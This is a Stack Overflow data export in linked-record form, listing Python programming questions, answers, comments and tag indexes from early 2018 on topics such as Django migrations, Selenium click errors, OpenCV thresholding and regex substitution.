http://stackoverflow.com/a/48801588
has body: The problem solved by manually recreate migrations/ folder in my app. The folder was deleted when I dropped my Database and Migration Files. The folder doesn't recreated automatically with python manage.py makemigrations and python manage.py migrate.
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/48801368
answers question: http://stackoverflow.com/q/48801368
score: 4
upvote count: 4

http://stackoverflow.com/comment/84576441
score: 0
comment on: http://stackoverflow.com/q/48787393
type: Comment
type: QuestionComment
has text: Possible duplicate of [Python - IOError: \[Errno 13\] Permission denied:](https://stackoverflow.com/questions/10575750/python-ioerror-errno-13-permission-denied)

http://stackoverflow.com/comment/84473300
score: 0
comment on: http://stackoverflow.com/q/48736697
has text: Note that long chained operations is [consider by some experts](https://stackoverflow.com/a/2443559/190597) a [code smell](https://en.wikipedia.org/wiki/Law_of_Demeter).
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84580922
type: Comment
comment on: http://stackoverflow.com/a/48706081
score: 0
type: AnswerComment
has text: have you tried the command conda update ipyton inside the py36 environment (e.g. after activate py36) ?

http://stackoverflow.com/comment/84589837
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48793369
score: 0
has text: @PaulPanzer thank you for the correction. Appreciate it.

http://stackoverflow.com/q/48759838
downvote count: 0
has title: How to create a function object from an ast.FunctionDef node?
favorite count: 0
score: 8
upvote count: 8
accepted answer: http://stackoverflow.com/a/48760395
has comment: http://stackoverflow.com/comment/84520533
tagged with: python
has comment: http://stackoverflow.com/comment/84520325
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84520471
possible better answer: http://stackoverflow.com/a/64147371
has answer: http://stackoverflow.com/a/64147371
type: Question
tagged with: abstract-syntax-tree
has answer: http://stackoverflow.com/a/48760395
has body: I am trying to understand the process by which python code gets executed. Suppose the source has a function definition. Using ast.parse(), I parse it into an ast, which will contain an instance of the FunctionDef node class. This node instance is not a callable and is not the same as the function object. How can the function object, with all its dunder attributes, be created from this ast?
answer count: 2

http://stackoverflow.com/comment/84566145
has text: https://docs.djangoproject.com/en/2.0/topics/http/middleware/
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48782222

http://stackoverflow.com/comment/84457591
has text: Where have you stored df3 values?
comment on: http://stackoverflow.com/a/48729169
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/84471875
has text: Is there a way of get that information out of the page?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48724263

ajax
tags question: http://stackoverflow.com/q/48793912
tags question: http://stackoverflow.com/q/48761406
tags question: http://stackoverflow.com/q/48736031
type: Tag
tags question: http://stackoverflow.com/q/48747524
tags question: http://stackoverflow.com/q/48771856
tags question: http://stackoverflow.com/q/48725290
tags question: http://stackoverflow.com/q/48705825
tags question: http://stackoverflow.com/q/48747401
tags question: http://stackoverflow.com/q/48691252
tags question: http://stackoverflow.com/q/48692991
tags question: http://stackoverflow.com/q/48671503
tags question: http://stackoverflow.com/q/48719739
tags question: http://stackoverflow.com/q/48704743
tags question: http://stackoverflow.com/q/48699039
tag name: ajax

http://stackoverflow.com/q/48665001
linked to: http://stackoverflow.com/q/59130200
has comment: http://stackoverflow.com/comment/84344971
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/64519510
has answer: http://stackoverflow.com/a/73761022
tagged with: python
has answer: http://stackoverflow.com/a/60006293
has comment: http://stackoverflow.com/comment/84333908
score: 94
tagged with: selenium
type: Question
has answer: http://stackoverflow.com/a/48667924
linked to: http://stackoverflow.com/q/48369043
has answer: http://stackoverflow.com/a/66369535
has answer: http://stackoverflow.com/a/55337782
has title: Can not click on a Element: ElementClickInterceptedException in Splinter / Selenium
has body: I'm trying to scrape a page, but I sometimes have trouble clicking a link/button. When the web page loads, then the "loadingWhiteBox" will appear first and then disappear after a few seconds (but it will remain in the HTML code) as long as the box is appears on the website, I can not click on the link and get following error message: selenium.common.exceptions.ElementClickInterceptedException: Message: Element &lt;span class="taLnk ulBlueLinks"&gt; is not clickable at point (318.3000030517578,661.7999877929688) because another element &lt;div class="loadingWhiteBox"&gt; obscures it Is there any way to work around this? I've already tried working with the following command: driver.is_element_present_by_css('div[class*="loadingWhiteBox"]') But the element is present even when it's not active.
has comment: http://stackoverflow.com/comment/84342239
has answer: http://stackoverflow.com/a/60687304
upvote count: 94
downvote count: 0
answer count: 7
tagged with: expected-condition
linked to: http://stackoverflow.com/q/52603847
favorite count: 0
tagged with: splinter
tagged with: webdriverwait

http://stackoverflow.com/comment/84363298
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48682280
score: 0
has text: @Narendra where I need to apply that command of check. I could not where I can place it in my code. Please explain a bit.

http://stackoverflow.com/comment/84374276
has text: `FileNotFoundError: this_angler.pcap` seems that you have a file in the current dir, but the current dir isn't the one you think it is.
comment on: http://stackoverflow.com/q/48688176
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/113735083
type: Comment
has text: Sorry that I haven't been clear enough for you to be able to understood me. Let's say I have defined a feature engineering step(a function or method or a class) , that takes only 2 columns from my 100 column data set and generates 10 columns and leaves the rest untouched. The problem with putting that step in the pipeline would be, that only the columns that this step generate will be passed on to the next step, discarding all the remaining columns.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48681267

http://stackoverflow.com/comment/84463720
has text: @DhavalBhavsar: I've updated the answer to explain the issues with the white background. Try to think of the images not as black and white, but as a set of numbers. You are working with those numbers. Morphology is all about what is larger and what is smaller. Good luck!
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48724904

http://stackoverflow.com/a/48690179
downvote count: 0
answers question: http://stackoverflow.com/q/48689925
upvote count: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48689925
type: Answer
has body: Recursion dear OP: from math import isnan def remove_nans(d): for key in d.copy(): if type(d[key]) == float and isnan(d[key]): del d[key] elif type(d[key]) == dict: remove_nans(d[key]) Call remove_nans on your dict and it will do the work.
score: 2

http://stackoverflow.com/comment/84463865
type: QuestionComment
comment on: http://stackoverflow.com/q/48717876
score: 0
has text: @Nain Sure feel free to put! :)
type: Comment

http://stackoverflow.com/comment/97045098
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/49043107
has text: "You have to append basedir path to system path in module1.py", shouldn't this be module2.py, so that it will be able to find module1? And if it is, this is exactly what the OP was trying to avoid, no?
score: 0

http://stackoverflow.com/q/48791878
tagged with: opencv
has body: I am trying to execute this piece of code from the opencv website: https://docs.opencv.org/3.4.0/d7/d4d/tutorial_py_thresholding.html import cv2 as cv import numpy as np from matplotlib import pyplot as plt img = cv.imread('gradient.png',0) ret,thresh1 = cv.threshold(img,127,255,cv.THRESH_BINARY) ret,thresh2 = cv.threshold(img,127,255,cv.THRESH_BINARY_INV) ret,thresh3 = cv.threshold(img,127,255,cv.THRESH_TRUNC) ret,thresh4 = cv.threshold(img,127,255,cv.THRESH_TOZERO) ret,thresh5 = cv.threshold(img,127,255,cv.THRESH_TOZERO_INV) titles = ['Original Image','BINARY','BINARY_INV','TRUNC','TOZERO','TOZERO_INV'] images = [img, thresh1, thresh2, thresh3, thresh4, thresh5] for i in xrange(6): plt.subplot(2,3,i+1),plt.imshow(images[i],'gray') plt.title(titles[i]) plt.xticks([]),plt.yticks([]) plt.show() It gives me the following error: TypeError Traceback (most recent call last) &lt;ipython-input-5-8bba9576502d&gt; in &lt;module&gt;() 11 images = [img, thresh1, thresh2, thresh3, thresh4, thresh5] 12 for i in xrange(6): ---&gt; 13 plt.subplot(2,3,i+1),plt.imshow(images[i],'gray') 14 plt.title(titles[i]) 15 plt.xticks([]),plt.yticks([]) /usr/lib/pymodules/python2.7/matplotlib/pyplot.pyc in imshow(X, cmap, norm, aspect, interpolation, alpha, vmin, vmax, origin, extent, shape, filternorm, filterrad, imlim, resample, url, hold, **kwargs) 2890 vmax=vmax, origin=origin, extent=extent, shape=shape, 2891 filternorm=filternorm, filterrad=filterrad, -&gt; 2892 imlim=imlim, resample=resample, url=url, **kwargs) 2893 draw_if_interactive() 2894 finally: /usr/lib/pymodules/python2.7/matplotlib/axes.pyc in imshow(self, X, cmap, norm, aspect, interpolation, alpha, vmin, vmax, origin, extent, shape, filternorm, filterrad, imlim, resample, url, **kwargs) 7298 filterrad=filterrad, resample=resample, **kwargs) 7299 -&gt; 7300 im.set_data(X) 7301 im.set_alpha(alpha) 7302 self._set_artist_props(im) /usr/lib/pymodules/python2.7/matplotlib/image.pyc in set_data(self, A) 423 if (self._A.dtype != np.ui…
has comment: http://stackoverflow.com/comment/84586622
type: Question
has title: OpenCV example not working thresholding?
has comment: http://stackoverflow.com/comment/84618992
has comment: http://stackoverflow.com/comment/84587678
score: 0
has comment: http://stackoverflow.com/comment/84619005
answer count: 0
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/48785467
type: AcceptedAnswer
has body: exec('x=' + raw_input()) #in x is now what you wanted, [[1,2,3,4],[5,1,2,3],[9,5,1,2]] or more safe: import ast x = ast.literal_eval(raw_input())
type: Answer
accepted answer of: http://stackoverflow.com/q/48785425
answers question: http://stackoverflow.com/q/48785425
upvote count: 2
score: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/84572435
has comment: http://stackoverflow.com/comment/84572420

http://stackoverflow.com/comment/84513173
type: Comment
has text: @Midi_: fix the indentation please
type: QuestionComment
comment on: http://stackoverflow.com/q/48755897
score: 0

http://stackoverflow.com/a/48668971
has comment: http://stackoverflow.com/comment/84336308
answers question: http://stackoverflow.com/q/48668884
type: Answer
downvote count: 0
score: 3
has comment: http://stackoverflow.com/comment/84336116
has body: If you consider list-comprehensions being loops (which they actually in many ways are) there you will not be satisfied with this but I will try my luck: from random import randint res = ''.join([str(randint(1, 5)) for _ in range(10)]) print(res) #-&gt; 4353344154 Notes: The result is a string! If you want an integer, cast to int. randint works incluselively; the start (1) and end (5) might be produced and returned. If you do not want that, modify them (start = 2 and end = 4) Is there a reason you are using random.uniform (and subsequently math.floor()) and not simply randint?
upvote count: 3

http://stackoverflow.com/comment/84354902
type: Comment
comment on: http://stackoverflow.com/q/48675152
has text: @MarkTolonen Yes, the .py and the .so reside in the same folder and printing the os.getcwd() points to that. I tried forward slashes and double backward. By now I'm sure its the about including valarray.. When I'm not #including anything it works like a (py)charm.. Ah thanks for pointing that out, that came from quickly reducing the sample, in the code I pass another int with the array size.
score: 0
type: QuestionComment

http://stackoverflow.com/a/48757941
downvote count: 0
type: Answer
has body: The solution to this is still given in this question: Animate points with labels with mathplotlib As said several times in the comments, each position is determined by a tuple of two values (x,y). Hence you cannot provide a tuple of tuples to those positions. Also the start and end of the arrow should of course be at different positions. import numpy as np import matplotlib.pyplot as plt import matplotlib.animation as animation x_data = np.random.randint(80, size=(400, 4)) y_data = np.random.randint(80, size=(400, 4)) fig, ax = plt.subplots(figsize = (8,6)) ax.set_xlim(0,80) ax.set_ylim(0,80) scatter = ax.scatter(x_data[0], y_data[0], zorder = 5) #Scatter plot annotation = ax.annotate(' Subject 1', xy=(x_data[0,2],y_data[0,2])) arrow = ax.annotate('', xy = (x_data[0,0], y_data[0,0]), xytext = (x_data[0,1],y_data[0,1]), arrowprops = {'arrowstyle': "&lt;-&gt;"}) def animate(i) : scatter.set_offsets(np.c_[x_data[i,:], y_data[i,:]]) annotation.set_position((x_data[i,2], y_data[i,2])) start = (x_data[i,0], y_data[i,0]) end = (x_data[i,1], y_data[i,1]) arrow.set_position(start) arrow.xy = end ani = animation.FuncAnimation(fig, animate, frames=len(x_data), interval = 700, blit = False) plt.show()
score: 4
has comment: http://stackoverflow.com/comment/84517288
accepted answer of: http://stackoverflow.com/q/48674542
upvote count: 4
answers question: http://stackoverflow.com/q/48674542
type: AcceptedAnswer

http://stackoverflow.com/comment/84488664
comment on: http://stackoverflow.com/a/48744313
type: AnswerComment
has text: Thanks for the response but I realized the issue is in the CRFTagger module in NLTK. If i replace that with some other model while training my Brill's tagger, the error goes away.
score: 0
type: Comment

windows
tags question: http://stackoverflow.com/q/48674386
tags question: http://stackoverflow.com/q/48692166
tags question: http://stackoverflow.com/q/48720924
tags question: http://stackoverflow.com/q/48710140
tags question: http://stackoverflow.com/q/48661795
tags question: http://stackoverflow.com/q/48777177
tags question: http://stackoverflow.com/q/48802659
tags question: http://stackoverflow.com/q/48679485
tags question: http://stackoverflow.com/q/48771769
tags question: http://stackoverflow.com/q/48686064
tags question: http://stackoverflow.com/q/48716569
tags question: http://stackoverflow.com/q/48785940
tags question: http://stackoverflow.com/q/48680134
tags question: http://stackoverflow.com/q/48678307
tags question: http://stackoverflow.com/q/48667035
tags question: http://stackoverflow.com/q/48712724
tags question: http://stackoverflow.com/q/48694085
tags question: http://stackoverflow.com/q/48667509
tags question: http://stackoverflow.com/q/48671215
tags question: http://stackoverflow.com/q/48682310
tags question: http://stackoverflow.com/q/48765363
tags question: http://stackoverflow.com/q/48715797
tags question: http://stackoverflow.com/q/48765428
tags question: http://stackoverflow.com/q/48672879
tags question: http://stackoverflow.com/q/48720324
tags question: http://stackoverflow.com/q/48654386
tags question: http://stackoverflow.com/q/48773663
tags question: http://stackoverflow.com/q/48783263
tags question: http://stackoverflow.com/q/48748280
tags question: http://stackoverflow.com/q/48721483
tags question: http://stackoverflow.com/q/48676355
tags question: http://stackoverflow.com/q/48648816
tags question: http://stackoverflow.com/q/48722824
type: Tag
tags question: http://stackoverflow.com/q/48764584
tags question: http://stackoverflow.com/q/48719070
tags question: http://stackoverflow.com/q/48765762
tags question: http://stackoverflow.com/q/48730595
tags question: http://stackoverflow.com/q/48665382
tags question: http://stackoverflow.com/q/48648462
tags question: http://stackoverflow.com/q/48709540
tags question: http://stackoverflow.com/q/48681843
tags question: http://stackoverflow.com/q/48719312
tag name: windows
tags question: http://stackoverflow.com/q/48721266
tags question: http://stackoverflow.com/q/48733275
tags question: http://stackoverflow.com/q/48655372
tags question: http://stackoverflow.com/q/48688193

http://stackoverflow.com/q/48725317
has body: My goal is create an app like whatsapp or telegram (image only - no chats) I want to send a picture to my Django server this is my model: class exchange(models.Model): sender=models.CharField(verbose_name="sender",max_length=11) reciever=models.CharField(verbose_name="reciever",max_length=11) img=models.ImageField(verbose_name="imageAddress",upload_to="image/") createTime=models.TimeField( auto_now_add=True,auto_now=False) class users(models.Model): number=models.CharField(verbose_name="userNumber",max_length=11) name=models.CharField(verbose_name="name",max_length=40) createTime=models.TimeField( auto_now_add=True,auto_now=False) status=models.BooleanField(default=False) class SMS(models.Model): users_id=models.ForeignKey(users,on_delete=models.CASCADE,default=0) code=models.PositiveSmallIntegerField(verbose_name="randomCode") createTime=models.TimeField( auto_now_add=True,auto_now=False) status=models.BooleanField(default=False) exchange class ==> to store sender and receiver (phone number) img store image path on Django server .image store in directory on server users class ==> for register users SMS class ==> for sms verificaion users like whatsup My serializer API: class exchangeSerializer(ModelSerializer): class Meta: model=exchange fields="__all__" class SMSSerializer (ModelSerializer): class Meta: models=SMS fields="__all__" class usersSerializer(ModelSerializer): class Meta: model=users fields="__all__" my views API: class exchangeShow(generics.ListAPIView): queryset=exchange.objects.all() serializer_class=exchangeSerializer class SMSShow(generics.ListAPIView): queryset=SMS.objects.all() serializer_class=SMSSerializer class usersShow(generics.ListAPIView): queryset=users.objects.all() serializer_class=usersSerializer class exchangeDetailShow(generics.RetrieveAPIView): queryset=exchange.objects.all() serializer_class=exchangeSerializer lookup_field='id' class exchangeDelete(generics.DestroyAPIView): queryset=exchange.objects.all() serializer_class=exchangeSe…
has comment: http://stackoverflow.com/comment/84497745
accepted answer: http://stackoverflow.com/a/50355251
has comment: http://stackoverflow.com/comment/84529009
type: AnsweredQuestion
tagged with: django-rest-framework
favorite count: 0
tagged with: android-volley
has comment: http://stackoverflow.com/comment/84632848
type: Question
tagged with: android
has comment: http://stackoverflow.com/comment/84486684
tagged with: python
linked to: http://stackoverflow.com/q/42782089
has answer: http://stackoverflow.com/a/50355251
has comment: http://stackoverflow.com/comment/84486658
score: 0
tagged with: django
upvote count: 1
downvote count: 1
answer count: 1
has title: How to upload image to django 2.0 server via django-restframwork using Volley library in android?
has comment: http://stackoverflow.com/comment/85067249

http://stackoverflow.com/comment/84549511
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48773546
type: Comment
has text: @Brad_J yw~ :-)

http://stackoverflow.com/comment/84427299
has text: added the corresponding model
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48713094
type: QuestionComment

http://stackoverflow.com/q/48738342
has body: I have a path string "...\\JustStuff\\2017GrainHarvest_GQimagesTestStand\\..." that I am inserting into an existing text file in place of another string. I compile a regex pattern and find bounding text to get the location to insert, and then use regex.sub to replace it. I'm doing something like this... with open(imextXML, 'r') as file: filedata = file.read() redirpath = re.compile("(?<= ).*(?= )", re.ASCII) filedatatemp = redirpath.sub(newdir,filedata) The inserted text is messed up though, with "\\20" being replaced with "\x8" and "\\" replaced with "\" (single slash) i.e. "...\\JustStuff\\2017GrainHarvest_GQimagesTestStand\\..." becomes "...\\JustStuff\x817GrainHarvest_GQimagesTestStand\..." What simple thing am I missing here to fix it? Update: to break this down even further to copy and paste to reproduce the issue... t2 = r'\JustStuff\2017GrainHarvest_GQimagesTestStand\te' redirpath = re.compile("(?<= ).*(?= )", re.ASCII) temp = r" aasdfgsdagewweags " redirpath.sub(t2,temp) produces... >>' \\JustStuff\x817GrainHarvest_GQimagesTestStand\te '
favorite count: 0
tagged with: python-3.x
tagged with: python
tagged with: regex
upvote count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48738482
accepted answer: http://stackoverflow.com/a/48738482
type: Question
downvote count: 0
score: 4
has title: regex.sub unexpectedly modifying the substituting string with some kind of encoding?
answer count: 1

http://stackoverflow.com/q/48687362
tagged with: python
has title: no attribute 'wrap_socket' in python 2.7 beutifulsoup in windows
score: 3
has comment: http://stackoverflow.com/comment/84402440
has comment: http://stackoverflow.com/comment/84557604
has body: When i run this script gives error 'wrap_socket' missing try to install ssl using pip command but every time failed import pickle, pdb, traceback from pymongo import MongoClient import urllib2, re from bs4 import BeautifulSoup import pprint import socket, ssl this is my class class AvvoQA(object): def _init_(self): self.client=MongoClient('localhost',27017) self.db=self.client.local self.collection=self.db.awo this is database insert code def ins(self,awo): client=MongoClient('localhost',27017) db=client.local collection=db.awo collection.insert(awo) This is main function def awoMain(self): article_list = [] link = 'https://www.avvo.com/topics/green-cards/advice?question=1' findFile = urllib2.urlopen(link) findHtml = findFile.read() findFile.close() soup = BeautifulSoup(findHtml, "lxml") que = soup.findAll('div', attrs={'class' : 'card topic-advice-question-card'}) for div in que: try: awo = {} awo['question'] = div.findAll('a',attrs={'class':'block-link'})['href'] record['desc_link'] = div.find('a')['href'] record = self.getAns(record) pprint.pprint(awo) except: print print "This articles faces issue " print traceback.format_exc() if __name__ == '__main__': AvvoQA().awoMain() Error shown self._send_output(message_body) File "C:\Python27\lib\httplib.py", line 803, in _send_output self.send(msg) File "C:\Python27\lib\httplib.py", line 755, in send self.connect() File "C:\Python27\lib\httplib.py", line 1156, in connect self.sock = ssl.wrap_socket(sock, self.key_file, self.cert_file) AttributeError: 'module' object has no attribute 'wrap_socket'
upvote count: 3
has comment: http://stackoverflow.com/comment/84484062
type: Question
has comment: http://stackoverflow.com/comment/84406987
downvote count: 0
has comment: http://stackoverflow.com/comment/84406904
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/84377303
has comment: http://stackoverflow.com/comment/84403657
favorite count: 0
tagged with: beautifulsoup
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/84562541
comment on: http://stackoverflow.com/q/48780482
has text: Please specify whether you are using Python 2 or 3. If Python 2, are you using the encoding line on top of the file?
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84568069
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48782105
has text: It is combining both the sheets but in second sheet it is giving lot of gap between one file data to another

http://stackoverflow.com/comment/84548584
type: Comment
comment on: http://stackoverflow.com/a/48772995
score: 0
type: AnswerComment
has text: It does work, but I'm not that far into coding in Python.

http://stackoverflow.com/comment/84353390
score: 0
comment on: http://stackoverflow.com/a/48660328
type: AnswerComment
type: Comment
has text: what values do pi11 and pi22 take?

http://stackoverflow.com/q/48740806
upvote count: 2
type: UnansweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/84485277
has body: I have the following code in python. My question is how do you print each element in the linked queue? I know that I will have to make a __repr__ or __str__ function but I am unsure how to implement it. Thanks. class LinkedQueue : class _Node : def __init__(self, element, next): self._element = element self._next = next def get_elements(): return self._element def set_elements(num): self._element = num def __init__(self) : self._head = None self._tail = None self._size = 0 def __len__(self) : return self._size def is_empty(self) : return self._size == 0 def first(self) : if self.is_empty() : raise Empty('Queue is empty') return self._head._element def dequeue(self) : if self.is_empty(): raise Empty('Queue is empty') answer = self._head._element self._head = self._head._next self._size -= 1 if self.is_empty() : self._tail = None return answer def enqueue(self, e) : newest = self._Node(e,None) if self.is_empty() : self._head = newest else : self._tail._next = newest self._tail = newest self._size += 1 class Empty(Exception) : pass
tagged with: queue
type: Question
downvote count: 0
answer count: 1
favorite count: 0
has title: Printing elements in a linked list queue
tagged with: python
has answer: http://stackoverflow.com/a/48743351
tagged with: python-3.x
tagged with: linked-list

http://stackoverflow.com/comment/84520785
comment on: http://stackoverflow.com/q/48760038
has text: Possible duplicate of [Python scripting in 3dsmax](https://stackoverflow.com/questions/30908779/python-scripting-in-3dsmax)
type: Comment
type: QuestionComment
score: 0

datetime
tags question: http://stackoverflow.com/q/48730026
tags question: http://stackoverflow.com/q/48743948
tags question: http://stackoverflow.com/q/48695689
tags question: http://stackoverflow.com/q/48724902
tags question: http://stackoverflow.com/q/48679362
tags question: http://stackoverflow.com/q/48691020
tags question: http://stackoverflow.com/q/48688829
tags question: http://stackoverflow.com/q/48655358
tags question: http://stackoverflow.com/q/48796729
tags question: http://stackoverflow.com/q/48769738
tags question: http://stackoverflow.com/q/48733882
tags question: http://stackoverflow.com/q/48646684
tags question: http://stackoverflow.com/q/48737245
tags question: http://stackoverflow.com/q/48697626
tags question: http://stackoverflow.com/q/48651526
tags question: http://stackoverflow.com/q/48655907
tags question: http://stackoverflow.com/q/48728307
tags question: http://stackoverflow.com/q/48660336
tags question: http://stackoverflow.com/q/48760683
tags question: http://stackoverflow.com/q/48746376
tag name: datetime
tags question: http://stackoverflow.com/q/48739840
tags question: http://stackoverflow.com/q/48797909
tags question: http://stackoverflow.com/q/48748504
tags question: http://stackoverflow.com/q/48792771
tags question: http://stackoverflow.com/q/48692624
tags question: http://stackoverflow.com/q/48663280
tags question: http://stackoverflow.com/q/48680916
type: Tag
tags question: http://stackoverflow.com/q/48709721
tags question: http://stackoverflow.com/q/48686222
tags question: http://stackoverflow.com/q/48692332
tags question: http://stackoverflow.com/q/48652612
tags question: http://stackoverflow.com/q/48715516
tags question: http://stackoverflow.com/q/48733120
tags question: http://stackoverflow.com/q/48788587
tags question: http://stackoverflow.com/q/48673059
tags question: http://stackoverflow.com/q/48738936

http://stackoverflow.com/a/48763412
accepted answer of: http://stackoverflow.com/q/48763146
upvote count: 1
answers question: http://stackoverflow.com/q/48763146
has comment: http://stackoverflow.com/comment/84527357
score: 1
has body: The problem is that you are using python interactively: &gt;&gt;&gt; for i in ['London','NewYork','Houston']: ... print(i) ... i=i+' and '+i ... print(i) File "&lt;stdin&gt;", line 4 print(i) ^ SyntaxError: invalid syntax Python needs to know that the loop has ended, so you insert a blank line: &gt;&gt;&gt; for i in ['London','NewYork','Houston']: ... print(i) ... i=i+' and '+i ... # &lt;&lt;&lt;&lt; blank line London NewYork Houston &gt;&gt;&gt; print(i) Houston and Houston &gt;&gt;&gt;
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84527419
type: Answer

http://stackoverflow.com/comment/137318856
type: Comment
has text: Thank you! I was using createDataFrame(df,collect(), schema=schema) and it was very slow and memory ineficient.
comment on: http://stackoverflow.com/a/48740115
score: 1
type: AnswerComment

http://stackoverflow.com/comment/84438105
has text: if first number is 0 it means its a day between 1-9 , if its not 0 it means its a day between 10-31 , right ? I think it works properly.What do you think guys ?
comment on: http://stackoverflow.com/q/48719523
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84375273
has text: @edchum Forget about the code. I am talking about a concept. Printing usually use CMYK. Scanning a printed image and then display it on a screen is mainly passing an image in 3 different devices that may use 3 different color spaces. Print(CMYK) , scanner may use AdobeRGB and display use sRGB. So how to make sure that the color values I have in the printed image are the same on the display, and does imgread in OpenCV or even trying to get the Blue color using for example: img[1][1][0] is giving me the blue color value that is seen on the screen or from the saved scanned image?
comment on: http://stackoverflow.com/q/48683621
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48709190
has comment: http://stackoverflow.com/comment/84417342
has body: None simply means that PyAutoGui was unable to find your image on the screen, do remember the window is active where find.png was sampled from. If this doesn't work out then I believe the resolutions(from when you took the sample and the monitor used by you) are different. Let us know if you face any problem.
score: 0
has comment: http://stackoverflow.com/comment/84417535
type: Answer
has comment: http://stackoverflow.com/comment/84417610
has comment: http://stackoverflow.com/comment/84417529
has comment: http://stackoverflow.com/comment/84418633
has comment: http://stackoverflow.com/comment/84417714
answers question: http://stackoverflow.com/q/48709009
has comment: http://stackoverflow.com/comment/84417417

http://stackoverflow.com/a/48697744
answers question: http://stackoverflow.com/q/48697626
has comment: http://stackoverflow.com/comment/84403541
has comment: http://stackoverflow.com/comment/84394725
has comment: http://stackoverflow.com/comment/84394520
has body: This is one way via dateutil.parser.parse: from dateutil import parser lst = ['2017-12-21T14:49:17.518Z', '2017-12-21T14:50:49.723Z', '2017-12-21T14:50:54.028Z', '2017-12-21T14:50:54.343Z', '2017-12-21T14:50:59.084Z', '2017-12-21T14:50:59.399Z'] lst = list(map(parser.parse, lst)) changes = [(j-i) for i, j in zip(lst, lst[1:])][::2] To convert this to seconds: seconds = [i.total_seconds() for i in changes]
has comment: http://stackoverflow.com/comment/84394301
has comment: http://stackoverflow.com/comment/84394737
has comment: http://stackoverflow.com/comment/84394536
has comment: http://stackoverflow.com/comment/84394334
upvote count: 1
has comment: http://stackoverflow.com/comment/84394564
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/84395232
score: 1

http://stackoverflow.com/comment/87048239
has text: @krakowi thanks, but it didnt work
comment on: http://stackoverflow.com/q/48646256
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/48795298
type: AcceptedAnswer
type: Answer
has body: The solution that I ended up using was to start the h2o process in a seperate thread and pass output back to main thread through a queue that we then read from and use regex to search for the connection IP. See example below. # startup hadoop h2o cluster import shlex import re from Queue import Queue, Empty from threading import Thread def enqueue_output(out, queue): """ Function for communicating streaming text lines from seperate thread. see https://stackoverflow.com/questions/375427/non-blocking-read-on-a-subprocess-pipe-in-python """ for line in iter(out.readline, b''): queue.put(line) out.close() # series of commands to run in-order for for bringing up the h2o cluster on demand startup_cmds = [ # remove any existing tmp log dir. for h2o processes 'rm -r /some/location/for/h2odriver.jar/output', # start h2o on cluster '/bin/hadoop jar {}h2odriver.jar -nodes 4 -mapperXmx 6g -output hdfsOutputDir'.format("/local/h2o/start/path") ] # clear legacy temp. dir. if os.path.isdir(/some/location/for/h2odriver.jar/output): print subprocess.check_output(shlex.split(startup_cmds[0])) # start h2o service in background thread startup_p = subprocess.Popen(shlex.split(startup_cmds[1]), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # setup message passing queue q = Queue() t = Thread(target=enqueue_output, args=(startup_p.stdout, q)) t.daemon = True # thread dies with the program t.start() # read line without blocking h2o_url_out = '' while True: try: line = q.get_nowait() # or q.get(timeout=.1) except Empty: continue else: # got line print line # check for first instance connection url output if re.search("Open H2O Flow in your web browser", line) is not None: h2o_url_out = line break if re.search('Error', line) is not None: print 'Error generated: %s' % line sys.exit() # capture connection IP from h2o process output print 'Connection url output line: %s' % h2o_url_out h2o_cnxn_ip = re.search("(?&lt;=Open H2O Flow in your web browser: http:\/\/)(.*?)(?=:)", h2o_ur…
answers question: http://stackoverflow.com/q/48795297
score: 0
accepted answer of: http://stackoverflow.com/q/48795297

http://stackoverflow.com/comment/84406867
comment on: http://stackoverflow.com/q/48704010
has text: @AndyG N is the number of elements of the list which is given by the user. There at the for loop I wrote range(1, N+1) and I placed each element at A[i-1].
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84434007
score: 0
type: Comment
type: QuestionComment
has text: @IgnacioVazquez-Abrams - Can you please be more specific on how to do it?
comment on: http://stackoverflow.com/q/48717185

http://stackoverflow.com/q/48766561
has comment: http://stackoverflow.com/comment/84533500
favorite count: 0
has comment: http://stackoverflow.com/comment/84534084
has comment: http://stackoverflow.com/comment/84764456
tagged with: python
tagged with: matplotlib-basemap
tagged with: python-3.x
downvote count: 0
has answer: http://stackoverflow.com/a/48995364
linked to: http://stackoverflow.com/q/44519804
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84533805
has title: basemap.maskoceans: 'float' object cannot be interpreted as an integer
linked to: http://stackoverflow.com/q/13796315
has comment: http://stackoverflow.com/comment/84534406
type: Question
score: 1
has comment: http://stackoverflow.com/comment/84762891
